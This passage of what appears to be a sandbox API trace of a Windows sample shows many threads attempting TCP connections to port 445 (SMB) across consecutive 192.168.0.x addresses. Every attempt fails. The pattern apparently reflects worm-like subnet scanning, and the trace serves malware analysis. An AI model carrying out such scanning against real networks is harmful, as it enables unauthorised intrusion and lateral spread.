0xbd01 [0090.706] connect (s=0x1abc, name=0x2099fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0111.768] closesocket (s=0x1abc) returned 0 [0111.768] WSACleanup () returned 0 [0111.768] GetCurrentThreadId () returned 0xfd4 [0111.768] GetCurrentThreadId () returned 0xfd4 [0111.768] GetCurrentThreadId () returned 0xfd4 Thread: id = 413 os_tid = 0xfdc [0090.803] GetCurrentThreadId () returned 0xfdc [0090.803] GetCurrentThreadId () returned 0xfdc [0090.803] GetCurrentThreadId () returned 0xfdc [0090.803] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x20adfdf0 | out: lpWSAData=0x20adfdf0) returned 0 [0090.803] socket (af=2, type=1, protocol=0) returned 0x1ad0 [0090.804] inet_addr (cp="192.168.0.194") returned 0xc200a8c0 [0090.804] htons (hostshort=0x1bd) returned 0xbd01 [0090.804] connect (s=0x1ad0, name=0x20adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.194"), namelen=16) returned -1 [0111.873] closesocket (s=0x1ad0) returned 0 [0111.873] WSACleanup () returned 0 [0111.873] GetCurrentThreadId () returned 0xfdc [0111.873] GetCurrentThreadId () returned 0xfdc [0111.873] GetCurrentThreadId () returned 0xfdc Thread: id = 414 os_tid = 0xfe0 [0090.805] GetCurrentThreadId () returned 0xfe0 [0090.805] GetCurrentThreadId () returned 0xfe0 [0090.805] GetCurrentThreadId () returned 0xfe0 [0090.805] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x20c1fdf0 | out: lpWSAData=0x20c1fdf0) returned 0 [0090.805] socket (af=2, type=1, protocol=0) returned 0x1adc [0090.805] inet_addr (cp="192.168.0.186") returned 0xba00a8c0 [0090.805] htons (hostshort=0x1bd) returned 0xbd01 [0090.805] connect (s=0x1adc, name=0x20c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.186"), namelen=16) returned -1 [0111.874] closesocket (s=0x1adc) returned 0 [0111.874] WSACleanup () returned 0 [0111.874] GetCurrentThreadId () returned 0xfe0 [0111.874] GetCurrentThreadId () returned 0xfe0 [0111.874] GetCurrentThreadId () returned 0xfe0 Thread: id = 415 os_tid = 0xfe4 [0090.930] GetCurrentThreadId () returned 0xfe4 [0090.931] GetCurrentThreadId () returned 0xfe4 [0090.931] GetCurrentThreadId () returned 0xfe4 [0090.931] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x20d5fdf0 | out: lpWSAData=0x20d5fdf0) returned 0 [0090.931] socket (af=2, type=1, protocol=0) returned 0x1af0 [0090.933] inet_addr (cp="192.168.0.195") returned 0xc300a8c0 [0090.933] htons (hostshort=0x1bd) returned 0xbd01 [0090.933] connect (s=0x1af0, name=0x20d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.195"), namelen=16) returned -1 [0112.076] closesocket (s=0x1af0) returned 0 [0112.076] WSACleanup () returned 0 [0112.076] GetCurrentThreadId () returned 0xfe4 [0112.076] GetCurrentThreadId () returned 0xfe4 [0112.076] GetCurrentThreadId () returned 0xfe4 Thread: id = 416 os_tid = 0xfec [0090.966] GetCurrentThreadId () returned 0xfec [0090.966] GetCurrentThreadId () returned 0xfec [0090.966] GetCurrentThreadId () returned 0xfec [0090.966] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x20e9fdf0 | out: lpWSAData=0x20e9fdf0) returned 0 [0090.966] socket (af=2, type=1, protocol=0) returned 0x1afc [0090.967] inet_addr (cp="192.168.0.187") returned 0xbb00a8c0 [0090.967] htons (hostshort=0x1bd) returned 0xbd01 [0090.967] connect (s=0x1afc, name=0x20e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.187"), namelen=16) returned -1 [0112.077] closesocket (s=0x1afc) returned 0 [0112.077] WSACleanup () returned 0 [0112.077] GetCurrentThreadId () returned 0xfec [0112.077] GetCurrentThreadId () returned 0xfec [0112.077] GetCurrentThreadId () returned 0xfec Thread: id = 417 os_tid = 0xff0 [0091.038] GetCurrentThreadId () returned 0xff0 [0091.038] GetCurrentThreadId () returned 0xff0 [0091.038] GetCurrentThreadId () returned 0xff0 [0091.038] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x20fdfdf0 | out: lpWSAData=0x20fdfdf0) returned 0 [0091.038] socket (af=2, type=1, protocol=0) returned 0x1b10 [0091.039] inet_addr (cp="192.168.0.196") returned 0xc400a8c0 [0091.039] htons (hostshort=0x1bd) returned 0xbd01 [0091.039] connect (s=0x1b10, name=0x20fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.196"), namelen=16) returned -1 [0112.170] closesocket (s=0x1b10) returned 0 [0112.170] WSACleanup () returned 0 [0112.170] GetCurrentThreadId () returned 0xff0 [0112.170] GetCurrentThreadId () returned 0xff0 [0112.170] GetCurrentThreadId () returned 0xff0 Thread: id = 418 os_tid = 0xff4 [0091.080] GetCurrentThreadId () returned 0xff4 [0091.080] GetCurrentThreadId () returned 0xff4 [0091.080] GetCurrentThreadId () returned 0xff4 [0091.080] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2111fdf0 | out: lpWSAData=0x2111fdf0) returned 0 [0091.080] socket (af=2, type=1, protocol=0) returned 0x1b1c [0091.080] inet_addr (cp="192.168.0.188") returned 0xbc00a8c0 [0091.080] htons (hostshort=0x1bd) returned 0xbd01 [0091.080] connect (s=0x1b1c, name=0x2111fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.188"), namelen=16) returned -1 [0112.171] closesocket (s=0x1b1c) returned 0 [0112.171] WSACleanup () returned 0 [0112.171] GetCurrentThreadId () returned 0xff4 [0112.171] GetCurrentThreadId () returned 0xff4 [0112.171] GetCurrentThreadId () returned 0xff4 Thread: id = 419 os_tid = 0xff8 [0091.140] GetCurrentThreadId () returned 0xff8 [0091.140] GetCurrentThreadId () returned 0xff8 [0091.140] GetCurrentThreadId () returned 0xff8 [0091.140] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2125fdf0 | out: lpWSAData=0x2125fdf0) returned 0 [0091.140] socket (af=2, type=1, protocol=0) returned 0x1b30 [0091.140] inet_addr (cp="192.168.0.197") returned 0xc500a8c0 [0091.140] htons (hostshort=0x1bd) returned 0xbd01 [0091.141] connect (s=0x1b30, name=0x2125fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.197"), namelen=16) returned -1 [0112.404] closesocket (s=0x1b30) returned 0 [0112.404] WSACleanup () returned 0 [0112.404] GetCurrentThreadId () returned 0xff8 [0112.404] GetCurrentThreadId () returned 0xff8 [0112.405] GetCurrentThreadId () returned 0xff8 Thread: id = 420 os_tid = 0xffc [0091.144] GetCurrentThreadId () returned 0xffc [0091.144] GetCurrentThreadId () returned 0xffc [0091.144] GetCurrentThreadId () returned 0xffc [0091.144] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2139fdf0 | out: lpWSAData=0x2139fdf0) returned 0 [0091.144] socket (af=2, type=1, protocol=0) returned 0x1b3c [0091.144] inet_addr (cp="192.168.0.189") returned 0xbd00a8c0 [0091.144] htons (hostshort=0x1bd) returned 0xbd01 [0091.144] connect (s=0x1b3c, name=0x2139fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.189"), namelen=16) returned -1 [0112.405] closesocket (s=0x1b3c) returned 0 [0112.405] WSACleanup () returned 0 [0112.405] GetCurrentThreadId () returned 0xffc [0112.405] GetCurrentThreadId () returned 0xffc [0112.405] GetCurrentThreadId () returned 0xffc Thread: id = 421 os_tid = 0x310 [0091.266] GetCurrentThreadId () returned 0x310 [0091.266] GetCurrentThreadId () returned 0x310 [0091.266] GetCurrentThreadId () returned 0x310 [0091.266] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x214dfdf0 | out: lpWSAData=0x214dfdf0) returned 0 [0091.266] socket (af=2, type=1, protocol=0) returned 0x1b80 [0091.267] inet_addr (cp="192.168.0.198") returned 0xc600a8c0 [0091.267] htons (hostshort=0x1bd) returned 0xbd01 [0091.267] connect (s=0x1b80, name=0x214dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.198"), namelen=16) returned -1 [0112.406] closesocket (s=0x1b80) returned 0 [0112.406] WSACleanup () returned 0 [0112.406] GetCurrentThreadId () returned 0x310 [0112.406] GetCurrentThreadId () returned 0x310 [0112.406] GetCurrentThreadId () returned 0x310 Thread: id = 423 os_tid = 0x798 [0091.412] GetCurrentThreadId () returned 0x798 [0091.412] GetCurrentThreadId () returned 0x798 [0091.412] GetCurrentThreadId () returned 0x798 [0091.412] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2171fdf0 | out: lpWSAData=0x2171fdf0) returned 0 [0091.412] socket (af=2, type=1, protocol=0) returned 0x1b60 [0091.412] inet_addr (cp="192.168.0.190") returned 0xbe00a8c0 [0091.412] htons (hostshort=0x1bd) returned 0xbd01 [0091.412] connect (s=0x1b60, name=0x2171fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.190"), namelen=16) returned -1 [0112.465] closesocket (s=0x1b60) returned 0 [0112.466] WSACleanup () returned 0 [0112.466] GetCurrentThreadId () returned 0x798 [0112.466] GetCurrentThreadId () returned 0x798 [0112.466] GetCurrentThreadId () returned 0x798 Thread: id = 424 os_tid = 0x77c [0091.454] GetCurrentThreadId () returned 0x77c [0091.454] GetCurrentThreadId () returned 0x77c [0091.454] GetCurrentThreadId () returned 0x77c [0091.454] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2185fdf0 | out: lpWSAData=0x2185fdf0) returned 0 [0091.454] socket (af=2, type=1, protocol=0) returned 0x1b54 [0091.454] inet_addr (cp="192.168.0.199") returned 0xc700a8c0 [0091.454] htons (hostshort=0x1bd) returned 0xbd01 [0091.454] connect (s=0x1b54, name=0x2185fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.199"), namelen=16) returned -1 [0112.466] closesocket (s=0x1b54) returned 0 [0112.467] WSACleanup () returned 0 [0112.467] GetCurrentThreadId () returned 0x77c [0112.467] GetCurrentThreadId () returned 0x77c [0112.467] GetCurrentThreadId () returned 0x77c Thread: id = 426 os_tid = 0x458 [0091.625] GetCurrentThreadId () returned 0x458 [0091.625] GetCurrentThreadId () returned 0x458 [0091.625] GetCurrentThreadId () returned 0x458 [0091.625] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2199fdf0 | out: lpWSAData=0x2199fdf0) returned 0 [0091.625] socket (af=2, type=1, protocol=0) returned 0x1b6c [0091.626] inet_addr (cp="192.168.0.191") returned 0xbf00a8c0 [0091.626] htons (hostshort=0x1bd) returned 0xbd01 [0091.626] connect (s=0x1b6c, name=0x2199fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.191"), namelen=16) returned -1 [0113.168] closesocket (s=0x1b6c) returned 0 [0113.168] WSACleanup () returned 0 [0113.168] GetCurrentThreadId () returned 0x458 [0113.168] GetCurrentThreadId () returned 0x458 [0113.168] GetCurrentThreadId () returned 0x458 Thread: id = 427 os_tid = 0x308 [0091.626] GetCurrentThreadId () returned 0x308 [0091.626] GetCurrentThreadId () returned 0x308 [0091.626] GetCurrentThreadId () returned 0x308 [0091.626] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x21adfdf0 | out: lpWSAData=0x21adfdf0) returned 0 [0091.626] socket (af=2, type=1, protocol=0) returned 0x1b64 [0091.627] inet_addr (cp="192.168.0.200") returned 0xc800a8c0 [0091.627] htons (hostshort=0x1bd) returned 0xbd01 [0091.627] connect (s=0x1b64, name=0x21adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.200"), namelen=16) returned -1 [0113.169] closesocket (s=0x1b64) returned 0 [0113.169] WSACleanup () returned 0 [0113.169] GetCurrentThreadId () returned 0x308 [0113.169] GetCurrentThreadId () returned 0x308 [0113.169] GetCurrentThreadId () returned 0x308 Thread: id = 428 os_tid = 0x1004 [0093.522] GetCurrentThreadId () returned 0x1004 [0093.523] GetCurrentThreadId () returned 0x1004 [0093.523] GetCurrentThreadId () returned 0x1004 [0093.523] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x21c1fdf0 | out: lpWSAData=0x21c1fdf0) returned 0 [0093.523] socket (af=2, type=1, protocol=0) returned 0x2ec [0093.523] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.523] htons (hostshort=0x1bd) returned 0xbd01 [0093.523] connect (s=0x2ec, name=0x21c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.665] closesocket (s=0x2ec) returned 0 [0114.666] WSACleanup () returned 0 [0114.666] GetCurrentThreadId () returned 0x1004 [0114.666] GetCurrentThreadId () returned 0x1004 [0114.666] GetCurrentThreadId () returned 0x1004 Thread: id = 429 os_tid = 0x1008 [0093.524] GetCurrentThreadId () returned 0x1008 [0093.524] GetCurrentThreadId () returned 0x1008 [0093.524] GetCurrentThreadId () returned 0x1008 [0093.524] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x21d5fdf0 | out: lpWSAData=0x21d5fdf0) returned 0 [0093.524] socket (af=2, type=1, protocol=0) returned 0x29c [0093.524] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.524] htons (hostshort=0x1bd) returned 0xbd01 [0093.524] connect (s=0x29c, name=0x21d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.666] closesocket (s=0x29c) returned 0 [0114.666] WSACleanup () returned 0 [0114.666] GetCurrentThreadId () returned 0x1008 [0114.666] GetCurrentThreadId () returned 0x1008 [0114.666] GetCurrentThreadId () returned 0x1008 Thread: id = 430 os_tid = 0x100c [0093.525] GetCurrentThreadId () returned 0x100c [0093.525] GetCurrentThreadId () returned 0x100c [0093.525] GetCurrentThreadId () returned 0x100c [0093.525] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x21e9fdf0 | out: lpWSAData=0x21e9fdf0) returned 0 [0093.525] socket (af=2, type=1, protocol=0) returned 0x1bb0 [0093.525] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.525] htons (hostshort=0x1bd) returned 0xbd01 [0093.525] connect (s=0x1bb0, name=0x21e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.667] closesocket (s=0x1bb0) returned 0 [0114.667] WSACleanup () returned 0 [0114.667] GetCurrentThreadId () returned 0x100c [0114.667] GetCurrentThreadId () returned 0x100c [0114.667] GetCurrentThreadId () returned 0x100c Thread: id = 431 os_tid = 0x1010 [0093.526] GetCurrentThreadId () returned 0x1010 [0093.526] GetCurrentThreadId () returned 0x1010 [0093.526] GetCurrentThreadId () returned 0x1010 [0093.526] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x21fdfdf0 | out: lpWSAData=0x21fdfdf0) returned 0 [0093.526] socket (af=2, type=1, protocol=0) returned 0x1bbc [0093.526] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.526] htons (hostshort=0x1bd) returned 0xbd01 [0093.526] connect (s=0x1bbc, name=0x21fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.668] closesocket (s=0x1bbc) returned 0 [0114.668] WSACleanup () returned 0 [0114.668] GetCurrentThreadId () returned 0x1010 [0114.668] GetCurrentThreadId () returned 0x1010 [0114.668] GetCurrentThreadId () returned 0x1010 Thread: id = 432 os_tid = 0x1018 [0093.527] GetCurrentThreadId () returned 0x1018 [0093.527] GetCurrentThreadId () returned 0x1018 [0093.527] GetCurrentThreadId () returned 0x1018 [0093.527] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2211fdf0 | out: lpWSAData=0x2211fdf0) returned 0 [0093.527] socket (af=2, type=1, protocol=0) returned 0x1bc0 [0093.527] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.527] htons (hostshort=0x1bd) returned 0xbd01 [0093.527] connect (s=0x1bc0, name=0x2211fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.668] closesocket (s=0x1bc0) returned 0 [0114.669] WSACleanup () returned 0 [0114.669] GetCurrentThreadId () returned 0x1018 [0114.669] GetCurrentThreadId () returned 0x1018 [0114.669] GetCurrentThreadId () returned 0x1018 Thread: id = 433 os_tid = 0x101c [0093.527] GetCurrentThreadId () returned 0x101c [0093.527] GetCurrentThreadId () returned 0x101c [0093.528] GetCurrentThreadId () returned 0x101c [0093.528] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2225fdf0 | out: lpWSAData=0x2225fdf0) returned 0 [0093.528] socket (af=2, type=1, protocol=0) returned 0x1bcc [0093.528] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.528] htons (hostshort=0x1bd) returned 0xbd01 [0093.528] connect (s=0x1bcc, name=0x2225fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.669] closesocket (s=0x1bcc) returned 0 [0114.669] WSACleanup () returned 0 [0114.669] GetCurrentThreadId () returned 0x101c [0114.669] GetCurrentThreadId () returned 0x101c [0114.669] GetCurrentThreadId () returned 0x101c Thread: id = 434 os_tid = 0x1024 [0093.529] GetCurrentThreadId () returned 0x1024 [0093.529] GetCurrentThreadId () returned 0x1024 [0093.529] GetCurrentThreadId () returned 0x1024 [0093.529] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2239fdf0 | out: lpWSAData=0x2239fdf0) returned 0 [0093.529] socket (af=2, type=1, protocol=0) returned 0x2a4 [0093.529] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.529] htons (hostshort=0x1bd) returned 0xbd01 [0093.529] connect (s=0x2a4, name=0x2239fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.670] closesocket (s=0x2a4) returned 0 [0114.670] WSACleanup () returned 0 [0114.670] GetCurrentThreadId () returned 0x1024 [0114.670] GetCurrentThreadId () returned 0x1024 [0114.670] GetCurrentThreadId () returned 0x1024 Thread: id = 435 os_tid = 0x1028 [0093.530] GetCurrentThreadId () returned 0x1028 [0093.530] GetCurrentThreadId () returned 0x1028 [0093.530] GetCurrentThreadId () returned 0x1028 [0093.530] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x224dfdf0 | out: lpWSAData=0x224dfdf0) returned 0 [0093.530] socket (af=2, type=1, protocol=0) returned 0x1bd4 [0093.530] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.530] htons (hostshort=0x1bd) returned 0xbd01 [0093.530] connect (s=0x1bd4, name=0x224dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.671] closesocket (s=0x1bd4) returned 0 [0114.671] WSACleanup () returned 0 [0114.671] GetCurrentThreadId () returned 0x1028 [0114.671] GetCurrentThreadId () returned 0x1028 [0114.671] GetCurrentThreadId () returned 0x1028 Thread: id = 436 os_tid = 0x102c [0093.531] GetCurrentThreadId () returned 0x102c [0093.531] GetCurrentThreadId () returned 0x102c [0093.531] GetCurrentThreadId () returned 0x102c [0093.531] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2261fdf0 | out: lpWSAData=0x2261fdf0) returned 0 [0093.531] socket (af=2, type=1, protocol=0) returned 0x2c4 [0093.532] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.532] htons (hostshort=0x1bd) returned 0xbd01 [0093.532] connect (s=0x2c4, name=0x2261fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.672] closesocket (s=0x2c4) returned 0 [0114.672] WSACleanup () returned 0 [0114.672] GetCurrentThreadId () returned 0x102c [0114.672] GetCurrentThreadId () returned 0x102c [0114.672] GetCurrentThreadId () returned 0x102c Thread: id = 437 os_tid = 0x1030 [0093.532] GetCurrentThreadId () returned 0x1030 [0093.532] GetCurrentThreadId () returned 0x1030 [0093.532] GetCurrentThreadId () returned 0x1030 [0093.532] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2275fdf0 | out: lpWSAData=0x2275fdf0) returned 0 [0093.532] socket (af=2, type=1, protocol=0) returned 0x1bdc [0093.535] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.535] htons (hostshort=0x1bd) returned 0xbd01 [0093.535] connect (s=0x1bdc, name=0x2275fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.672] closesocket (s=0x1bdc) returned 0 [0114.672] WSACleanup () returned 0 [0114.672] GetCurrentThreadId () returned 0x1030 [0114.672] GetCurrentThreadId () returned 0x1030 [0114.672] GetCurrentThreadId () returned 0x1030 Thread: id = 438 os_tid = 0x1034 [0093.537] GetCurrentThreadId () returned 0x1034 [0093.537] GetCurrentThreadId () returned 0x1034 [0093.537] GetCurrentThreadId () returned 0x1034 [0093.537] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2289fdf0 | out: lpWSAData=0x2289fdf0) returned 0 [0093.537] socket (af=2, type=1, protocol=0) returned 0x328 [0093.538] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.538] htons (hostshort=0x1bd) returned 0xbd01 [0093.538] connect (s=0x328, name=0x2289fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.673] closesocket (s=0x328) returned 0 [0114.673] WSACleanup () returned 0 [0114.673] GetCurrentThreadId () returned 0x1034 [0114.673] GetCurrentThreadId () returned 0x1034 [0114.673] GetCurrentThreadId () returned 0x1034 Thread: id = 439 os_tid = 0x1038 [0093.538] GetCurrentThreadId () returned 0x1038 [0093.538] GetCurrentThreadId () returned 0x1038 [0093.538] GetCurrentThreadId () returned 0x1038 [0093.538] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x229dfdf0 | out: lpWSAData=0x229dfdf0) returned 0 [0093.538] socket (af=2, type=1, protocol=0) returned 0x320 [0093.538] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.538] htons (hostshort=0x1bd) returned 0xbd01 [0093.538] connect (s=0x320, name=0x229dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.674] closesocket (s=0x320) returned 0 [0114.674] WSACleanup () returned 0 [0114.674] GetCurrentThreadId () returned 0x1038 [0114.674] GetCurrentThreadId () returned 0x1038 [0114.674] GetCurrentThreadId () returned 0x1038 Thread: id = 441 os_tid = 0x1044 [0093.539] GetCurrentThreadId () returned 0x1044 [0093.539] GetCurrentThreadId () returned 0x1044 [0093.539] GetCurrentThreadId () returned 0x1044 [0093.539] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22b1fdf0 | out: lpWSAData=0x22b1fdf0) returned 0 [0093.539] socket (af=2, type=1, protocol=0) returned 0x2e4 [0093.539] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.539] htons (hostshort=0x1bd) returned 0xbd01 [0093.539] connect (s=0x2e4, name=0x22b1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.675] closesocket (s=0x2e4) returned 0 [0114.675] WSACleanup () returned 0 [0114.675] GetCurrentThreadId () returned 0x1044 [0114.675] GetCurrentThreadId () returned 0x1044 [0114.675] GetCurrentThreadId () returned 0x1044 Thread: id = 442 os_tid = 0x1048 [0093.539] GetCurrentThreadId () returned 0x1048 [0093.539] GetCurrentThreadId () returned 0x1048 [0093.539] GetCurrentThreadId () returned 0x1048 [0093.539] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22c5fdf0 | out: lpWSAData=0x22c5fdf0) returned 0 [0093.539] socket (af=2, type=1, protocol=0) returned 0x1be4 [0093.539] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.539] htons (hostshort=0x1bd) returned 0xbd01 [0093.540] connect (s=0x1be4, name=0x22c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.675] closesocket (s=0x1be4) returned 0 [0114.675] WSACleanup () returned 0 [0114.675] GetCurrentThreadId () returned 0x1048 [0114.675] GetCurrentThreadId () returned 0x1048 [0114.675] GetCurrentThreadId () returned 0x1048 Thread: id = 443 os_tid = 0x104c [0093.545] GetCurrentThreadId () returned 0x104c [0093.545] GetCurrentThreadId () returned 0x104c [0093.545] GetCurrentThreadId () returned 0x104c [0093.545] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22d9fdf0 | out: lpWSAData=0x22d9fdf0) returned 0 [0093.545] socket (af=2, type=1, protocol=0) returned 0x3d8 [0093.545] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.545] htons (hostshort=0x1bd) returned 0xbd01 [0093.545] connect (s=0x3d8, name=0x22d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.676] closesocket (s=0x3d8) returned 0 [0114.676] WSACleanup () returned 0 [0114.676] GetCurrentThreadId () returned 0x104c [0114.676] GetCurrentThreadId () returned 0x104c [0114.676] GetCurrentThreadId () returned 0x104c Thread: id = 444 os_tid = 0x1050 [0093.546] GetCurrentThreadId () returned 0x1050 [0093.546] GetCurrentThreadId () returned 0x1050 [0093.546] GetCurrentThreadId () returned 0x1050 [0093.546] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22edfdf0 | out: lpWSAData=0x22edfdf0) returned 0 [0093.546] socket (af=2, type=1, protocol=0) returned 0x3cc [0093.546] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.546] htons (hostshort=0x1bd) returned 0xbd01 [0093.546] connect (s=0x3cc, name=0x22edfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.677] closesocket (s=0x3cc) returned 0 [0114.677] WSACleanup () returned 0 [0114.677] GetCurrentThreadId () returned 0x1050 [0114.677] GetCurrentThreadId () returned 0x1050 [0114.677] GetCurrentThreadId () returned 0x1050 Thread: id = 445 os_tid = 0x1054 [0093.546] GetCurrentThreadId () returned 0x1054 [0093.546] GetCurrentThreadId () returned 0x1054 [0093.546] GetCurrentThreadId () returned 0x1054 [0093.546] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2301fdf0 | out: lpWSAData=0x2301fdf0) returned 0 [0093.546] socket (af=2, type=1, protocol=0) returned 0x3a8 [0093.547] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.547] htons (hostshort=0x1bd) returned 0xbd01 [0093.547] connect (s=0x3a8, name=0x2301fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.678] closesocket (s=0x3a8) returned 0 [0114.678] WSACleanup () returned 0 [0114.678] GetCurrentThreadId () returned 0x1054 [0114.678] GetCurrentThreadId () returned 0x1054 [0114.678] GetCurrentThreadId () returned 0x1054 Thread: id = 446 os_tid = 0x1058 [0093.547] GetCurrentThreadId () returned 0x1058 [0093.547] GetCurrentThreadId () returned 0x1058 [0093.547] GetCurrentThreadId () returned 0x1058 [0093.547] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2315fdf0 | out: lpWSAData=0x2315fdf0) returned 0 [0093.547] socket (af=2, type=1, protocol=0) returned 0x39c [0093.547] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.547] htons (hostshort=0x1bd) returned 0xbd01 [0093.547] connect (s=0x39c, name=0x2315fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.679] closesocket (s=0x39c) returned 0 [0114.679] WSACleanup () returned 0 [0114.679] GetCurrentThreadId () returned 0x1058 [0114.679] GetCurrentThreadId () returned 0x1058 [0114.679] GetCurrentThreadId () returned 0x1058 Thread: id = 447 os_tid = 0x105c [0093.606] GetCurrentThreadId () returned 0x105c [0093.606] GetCurrentThreadId () returned 0x105c [0093.606] GetCurrentThreadId () returned 0x105c [0093.606] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x232dfdf0 | out: lpWSAData=0x232dfdf0) returned 0 [0093.606] socket (af=2, type=1, protocol=0) returned 0x41c [0093.607] inet_addr (cp="192.168.0.201") returned 0xc900a8c0 [0093.607] htons (hostshort=0x1bd) returned 0xbd01 [0093.607] connect (s=0x41c, name=0x232dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16) returned -1 [0114.774] closesocket (s=0x41c) returned 0 [0114.775] WSACleanup () returned 0 [0114.775] GetCurrentThreadId () returned 0x105c [0114.775] GetCurrentThreadId () returned 0x105c [0114.775] GetCurrentThreadId () returned 0x105c Thread: id = 448 os_tid = 0x1060 [0093.607] GetCurrentThreadId () returned 0x1060 [0093.607] GetCurrentThreadId () returned 0x1060 [0093.607] GetCurrentThreadId () returned 0x1060 [0093.607] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2341fdf0 | out: lpWSAData=0x2341fdf0) returned 0 [0093.607] socket (af=2, type=1, protocol=0) returned 0x410 [0093.607] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0093.607] htons (hostshort=0x1bd) returned 0xbd01 [0093.607] connect (s=0x410, name=0x2341fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0114.775] closesocket (s=0x410) returned 0 [0114.775] WSACleanup () returned 0 [0114.775] GetCurrentThreadId () returned 0x1060 [0114.775] GetCurrentThreadId () returned 0x1060 [0114.775] GetCurrentThreadId () returned 0x1060 Thread: id = 450 os_tid = 0x106c [0093.684] GetCurrentThreadId () returned 0x106c [0093.684] GetCurrentThreadId () returned 0x106c [0093.684] GetCurrentThreadId () returned 0x106c 